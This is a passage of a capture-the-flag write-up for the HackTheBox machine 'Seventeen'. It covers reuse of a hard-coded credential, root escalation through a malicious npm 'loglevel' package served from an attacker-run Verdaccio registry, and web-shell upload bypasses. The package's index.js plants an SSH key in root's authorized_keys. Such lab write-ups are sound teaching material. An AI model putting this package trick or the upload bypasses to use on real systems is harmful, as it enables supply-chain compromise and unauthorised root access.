I think Mr. Johnson already told you about our new staff management system. Since our old one had some problems, they are hoping maybe we could migrate to a more modern one. For the first phase, he asked us just a simple web UI to store the details of the staff members.

I have already done some server-side for you. Even though, I did come across some problems with our private registry. However as we agreed, I removed our old logger and added loglevel instead. You just have to publish it to our registry and test it with the application. 


There’s mention of a new project, a private registry (with some issues), and an old logger being replaced with loglevel (a publicly available JavaScript logging app).


Looking at listening ports, there’s a bunch of stuff listening on localhost only:

mark@seventeen:/var/mail$ netstat -tnlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0    *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0*               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp        0      0 *               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      - 

It’s interesting that port 8000 isn’t listed. This has to do with how HTB has different players routing into different Dockers to limit the pain to other players when the RoundCube exploit takes down the instance on shared labs. Port 6000-6015 are those dockers.

With some research, I can group the rest of these ports into:

  • Mail server for Roundcube - 110, 143, 993, 995
  • MySQL for various webservers - 3306
  • DNS - 53
  • Website forwards to Docker - 8081 (exams), 8082 (oldmanager)
  • Unknown - 4873, but referenced in the .npm folder above.

Doing a curl on 4873 returns a short page:

    <!DOCTYPE html>
      <html lang="en-us"> 
        <meta charset="utf-8">
        <base href="http://localhost:4873/">
        <link rel="icon" href="http://localhost:4873/-/static/favicon.ico"/>
        <meta name="viewport" content="width=device-width, initial-scale=1" /> 
      <body class="body">
        <div id="root"></div>
        <script defer="defer" src="http://localhost:4873/-/static/runtime.06493eae2f534100706f.js"></script><script defer="defer" src="http://localhost:4873/-/static/vendors.06493eae2f534100706f.js"></script><script defer="defer" src="http://localhost:4873/-/static/main.06493eae2f534100706f.js"></script>

The body is loaded by JavaScript, but I do see “Verdaccio”. Verdaccio is a private JavaScript repo.

If I add an SSH tunnel to provide access to 4873 from my host, I can load it in Firefox:


Old Logger


The email mentioned the “old logger”, and talk about using “our registry”. I’ll try to search for what logging modules are in the local registry:

mark@seventeen:/var/mail$ npm search log --registry
NAME      DESCRIPTION                                                  AUTHOR     DATE       VERSION KEYWORDS                  
db-logger Log data to a database                                       =kavigihan 2022-03-15 1.0.1   log                       
loglevel  Minimal lightweight logging for JavaScript, adding reliable… =pimterry  2022-04-10 1.8.0   log logger logging browser

db-logger must be the old one, and it’s written by kavigihan (kavi).


To get a copy of the old logger, I’ll simply run npm install and point it at the local repo:

mark@seventeen:/dev/shm$ npm install db-logger --registry
└─┬ db-logger@1.0.1 
  └─┬ mysql@2.18.1 
    ├── bignumber.js@9.0.0 
    ├─┬ readable-stream@2.3.7 
    │ ├── core-util-is@1.0.3 
    │ ├── inherits@2.0.4 
    │ ├── isarray@1.0.0 
    │ ├── process-nextick-args@2.0.1 
    │ ├── string_decoder@1.1.1 
    │ └── util-deprecate@1.0.2 
    ├── safe-buffer@5.1.2 
    └── sqlstring@2.3.1 

npm WARN enoent ENOENT: no such file or directory, open '/dev/shm/package.json'
npm WARN shm No description
npm WARN shm No repository field.
npm WARN shm No README data
npm WARN shm No license field.

This downloads it to the current directory, creating a node_modules directory. In there, I see a bunch of modules, including db-logger:

mark@seventeen:/dev/shm$ ls node_modules/
bignumber.js  db-logger  isarray  process-nextick-args  safe-buffer  string_decoder
core-util-is  inherits   mysql    readable-stream       sqlstring    util-deprecate


The module is made up of a single JavaScript file and a package.json:

mark@seventeen:/dev/shm/node_modules/db-logger$ ls
logger.js  package.json

The package.json file describes the module:

  "_args": [
  "_from": "db-logger@latest",
  "_id": "db-logger@1.0.1",
  "_inCache": true,
  "author": {
    "name": "kavigihan"
  "contributors": [],
  "dependencies": {
    "mysql": "2.18.1"
  "description": "Log data to a database",

The author is kavigihan.

The JavaScript has hard-coded credentials:

var mysql = require('mysql');

var con = mysql.createConnection({
  host: "localhost",
  user: "root",
  password: "IhateMathematics123#",
  database: "logger"

function log(msg) {
    con.connect(function(err) {
        if (err) throw err;
        var date = Date();
        var sql = `INSERT INTO logs (time, msg) VALUES (${date}, ${msg});`;
        con.query(sql, function (err, result) {
        if (err) throw err;
        console.log("[+] Logged");

module.exports.log = log

su / SSH

That password is actually kavi’s password. It works for su:

mark@seventeen:~$ su kavi

And SSH:

oxdf@hacky$ sshpass -p 'IhateMathematics123#' ssh kavi@seventeen.htb 

Shell as Root


Home Dir

kavi has no non-hidden files in their home dir:

kavi@seventeen:~$ ls -la
total 44
drwxr-x---   7 kavi kavi 4096 May 11 11:51 .
drwxr-xr-x   4 root root 4096 Apr  8 19:06 ..
lrwxrwxrwx   1 kavi kavi    9 Apr 10 03:17 .bash_history -> /dev/null
-rw-r--r--   1 kavi kavi  220 Apr  4  2018 .bash_logout
-rw-r--r--   1 kavi kavi 3771 Apr  4  2018 .bashrc
drwx------   2 kavi kavi 4096 Feb 19 12:27 .cache
drwxrwxr-x   3 kavi kavi 4096 Feb 26 19:28 .composer
drwx------   3 kavi kavi 4096 Feb 19 12:27 .gnupg
drwxrwxr-x   3 kavi kavi 4096 Feb 19 18:23 .local
drwxrwxr-x 148 kavi kavi 4096 Apr 10 03:23 .npm
-rw-------   1 kavi kavi   32 May 11 15:04 .npmrc
-rw-r--r--   1 kavi kavi  807 Apr  4  2018 .profile

There’s a .npmrc file, which configures how npm runs, setting the default registry to the local one:

kavi@seventeen:~$ cat .npmrc 


kavi can also access /opt/app (which mark can’t):

kavi@seventeen:/opt/app$ ls
index.html  index.js  node_modules

This is the new application that mike was talking about in the email. There’s not much there yet. index.html is just a “This page is under construction” message. index.js is a basic Node webserver serving that page:

const http = require('http')
const port = 8000
const fs = require('fs')
//var logger = require('db-logger')
var logger = require('loglevel')

const server = http.createServer(function(req, res) {
    res.writeHead(200, {'Content-Type': 'text/html'})
    fs.readFile('index.html', function(error, data){
        if (error) {
            res.write('Error: File Not Found')
            logger.debug(`INFO: Reuqest from ${req.connection.remoteAddress} to /`)

        } else {

server.listen(port, function(error) {
    if (error) {
        logger.warn(`ERROR: Error occured while starting the server : ${e}`)
    } else {
        logger.log("INFO:  Server running on port " + port)

It is clear that the db-logger has been commented out, and replaced by loglevel.

There’s also a, which loops over each of two dependencies, checking that each are installed, and if not, installing them. Then it starts the Node application:


cd /opt/app

deps=('db-logger' 'loglevel')

for dep in ${deps[@]}; do
    /bin/echo "[=] Checking for $dep"
    o=$(/usr/bin/npm -l ls|/bin/grep $dep)

    if [[ "$o" != *"$dep"* ]]; then
        /bin/echo "[+] Installing $dep"
        /usr/bin/npm install $dep
        /bin/echo "[+] $dep already installed"


/bin/echo "[+] Starting the app"

/usr/bin/node /opt/app/index.js

Interestingly, kavi can run this as root:

kavi@seventeen:/opt/app$ sudo -l
[sudo] password for kavi: 
Matching Defaults entries for kavi on seventeen:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User kavi may run the following commands on seventeen:
    (ALL) /opt/app/

Malicious JS Module


The script above will run as root, so if I can get a malicious version of one of those two packages to load, it’ll execute as root.

My first thought was to try to modify it on the local repo. If I try to log in, it fails (I don’t need --registry because of the .npmrc file):

kavi@seventeen:~$ npm login
Username: kavi
Email: (this IS public) kavi@seventeen.htb
npm ERR! Linux 4.15.0-175-generic
npm ERR! argv "/usr/bin/node" "/usr/bin/npm" "login"
npm ERR! node v8.10.0
npm ERR! npm  v3.5.2
npm ERR! code E409

npm ERR! user registration disabled : -/user/org.couchdb.user:kavi/-rev/undefined
npm ERR! 
npm ERR! If you need help, you may report this error at:
npm ERR!     <>

npm ERR! Please include the following file with any support request:
npm ERR!     /home/kavi/npm-debug.log

Registration is disabled.

I noted above that there’s a .npmrc file in /home/kavi that sets the repository this user uses. I’ll try to change that to point to my host, and then have an instance of Verdaccio there serving a malicious package.

If you think about this too much, it seems like it clearly won’t work. Why would running as root read /home/kavi/.npmrc? It does work, and I’ll dig into why in Beyond Root.

Create Node Module

The steps to create a module are outlined here. I’ll start with npm init on my local box:

oxdf@hacky$ npm init
This utility will walk you through creating a package.json file.
It only covers the most common items, and tries to guess sensible defaults.

See `npm help json` for definitive documentation on these fields
and exactly what they do.

Use `npm install <pkg>` afterwards to install a package and
save it as a dependency in the package.json file.

Press ^C at any time to quit.
package name: (module) loglevel
version: (1.0.0) 2.0.0
entry point: (index.js) 
test command: 
git repository: 
license: (ISC) 
About to write to /media/sf_CTFs/hackthebox/seventeen-

  "name": "loglevel",
  "version": "2.0.1",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  "author": "",
  "license": "ISC"

Is this OK? (yes)

The only one I can’t take the default on is name, which I’ll name loglevel, as I want it to be included and called by the server on Seventeen, and I’ll up the version beyond what is current on the real module, currently 1.8.0. The above process creates a package.json file in the current directory.

I used the default of index.js, so I’ll create that file right next to package.json:

const cp = require("child_process")

cp.exec("mkdir -p /root/.ssh; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing' > /root/.ssh/authorized_keys");

function log(msg) {

function debug(msg) {

function warn(msg) {

module.exports.log = log;

I don’t believe I need more than a one liner to do my malicious stuff, but I’ll implement the log functions that are expected in the node application.

Verdaccio Container

To get a server running on my host, I’ll use a Verdaccio Docker container. I’ll run docker pull verdaccio/verdaccio (either as root, with sudo, or with my user in the docker group) to get a copy of the container image.

I’ll run the container using the command from the instructions above, though some experimentation shows that I need to run it with the environment variable VERDACCIO_PUBLIC_URL pointing to my tun0 IP:

oxdf@hacky$ sudo docker run -it --rm --name verdaccio -p 4873:4873 -e 'VERDACCIO_PUBLIC_URL=' verdaccio/verdaccio
 warn --- config file  - /verdaccio/conf/config.yaml
 warn --- Plugin successfully loaded: verdaccio-htpasswd
 warn --- Plugin successfully loaded: verdaccio-audit
 warn --- http address - - verdaccio/5.10.2

Register Module

Now I’ll submit my module to this new registry. First I need to register:

oxdf@hacky$ npm adduser --registry
Username: 0xdf               
Email: (this IS public) 0xdf@0xdf.htb
Logged in as 0xdf on

Now I’ll publish the module:

oxdf@hacky$ npm publish --registry
npm notice 
npm notice 📦  loglevel@2.0.1
npm notice === Tarball Contents === 
npm notice 367B index.js    
npm notice 204B package.json
npm notice === Tarball Details === 
npm notice name:          loglevel                                
npm notice version:       2.0.1                                   
npm notice package size:  486 B                                   
npm notice unpacked size: 571 B                                   
npm notice shasum:        ab3dc4ab6663916a6a8a6f6852f3c9e79f4a71b4
npm notice integrity:     sha512-tY/SaAbYf7LE6[...]qLGE2/OjUBlxg==
npm notice total files:   2                                       
npm notice 
+ loglevel@2.0.1


Now I’ll set the .npmrc file and the run

kavi@seventeen:~$ sudo /opt/app/ 
[sudo] password for kavi: 
[=] Checking for db-logger
[+] db-logger already installed
[=] Checking for loglevel
[+] Installing loglevel
├── loglevel@2.0.1 
└── mysql@2.18.1 

npm WARN enoent ENOENT: no such file or directory, open '/opt/app/package.json'
npm WARN app No description
npm WARN app No repository field.
npm WARN app No README data
npm WARN app No license field.
[+] Starting the app
INFO:  Server running on port 8000

It runs and starts the app.

If it loaded my malicious loglevel, then I should have a key in root’s authorized_keys.

It works:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@seventeen.htb

Beyond Root

sudo / $HOME

To get root, I’ll run sudo /opt/app/, and the script will call npm as root, which loads the .npmrc file in /home/kavi. Why does that work? Why would root load an RC file from kavi’s home directory?

It turns out that it’s important that box is Ubuntu 18.04 and not something later, as explained in this article:

For years, Ubuntu has shipped a patched version of sudo that preserves $HOME by default. Besides Ubuntu and its derivatives, very few other operating systems (perhaps no others) do this. It has been decided that this causes more problems than it solves, and starting in Ubuntu 19.10, $HOME is no longer one of the few environment variables sudo preserves.

Before Ubuntu 19.10, Ubuntu patched sudo to preserve the $HOME environment variable by default, whereas other distros only did that with -H.

So even though it’s running as root, the $HOME environment variable is set to /home/kavi, and that’s where the RC files are loaded from.

Unintended Webshell Execution


I noted above that I could upload a webshell to the OldManagement server, and it would upload, but at that point all I could do is click “Download”, which returns the file. Later, I found the path to the files, but even then, visiting my file returns a 403:


Exploit by Stomping .htaccess

What’s likely blocking this file on an Apache webserver is an .htaccess file. This file defines custom rules for how files are handled in the current directory. With root, I can drop into the docker container and look at that file:

root@seventeen:~# docker exec -it manager6000 bash
root@8df6395c368f:/var/www/html# cat oldmanagement/files/31234/.htaccess 
php_flag engine off
Options -Indexes
ErrorDocument 403 "<h1>Forbidden</h1>"
RedirectMatch 403 ^/var/www/oldmanagement/files/31234/?$
RedirectMatch 403 ^.*\.php$

Anything ending in .php will get a 403 Forbidden HTTP response code. and ErrorDocument.

Unfortunately for the .htaccess file is writable by www-data:

root@8df6395c368f:/var/www/html/oldmanagement/files/31234# ls -la
total 688
drwxr-xr-x 3 www-data www-data   4096 Sep 22 19:30 .
drwxr-xr-x 3 www-data www-data   4096 Sep 22 19:30 ..
-rw-r--r-- 1 www-data root        161 May 29 15:48 .htaccess
-rw-r--r-- 1 www-data root     684399 May 10 05:05 Marksheet-finals.pdf
drwxr-xr-x 2 www-data www-data   4096 Sep 22 19:30 papers

Since the file is owned and writable by root, I can overwrite it by uploading a new one. I’ll create an empty file:

oxdf@hacky$ touch .htaccess

I can upload that just like any other file:


From my root shell, I can see it’s empty:

root@8df6395c368f:/var/www/html/oldmanagement/files/31234# cat .htaccess
root@8df6395c368f:/var/www/html/oldmanagement/files/31234# ls -la .htaccess 
-rw-r--r-- 1 www-data www-data 0 Sep 22 19:37 .htaccess

Now the webshell works:


This technique is very similar to the intended path on Bludner. Thanks to IppSec for pointing this one out to me.

Avoid .htaccess

Instead of modifying the .htaccess file, I’ll avoid it. When I submit the webshell for upload, I’ll intercept that post in Burp:


One of the fields is the stud_no, which matches the number I logged in with. I’ll modify that to 223, and send the request.

This time, the uploaded file doesn’t show up in the files list on the main page. But visiting the path does show the shell, and it executes:


There is no .htaccess file in the 223 directory:

root@8df6395c368f:/var/www/html/oldmanagement/files/223# ls -la
total 12
drwxr-xr-x 2 www-data www-data 4096 Sep 22 19:41 .
drwxr-xr-x 4 www-data www-data 4096 Sep 22 19:41 ..
-rw-r--r-- 1 www-data www-data   35 Sep 22 19:41 0xdf.php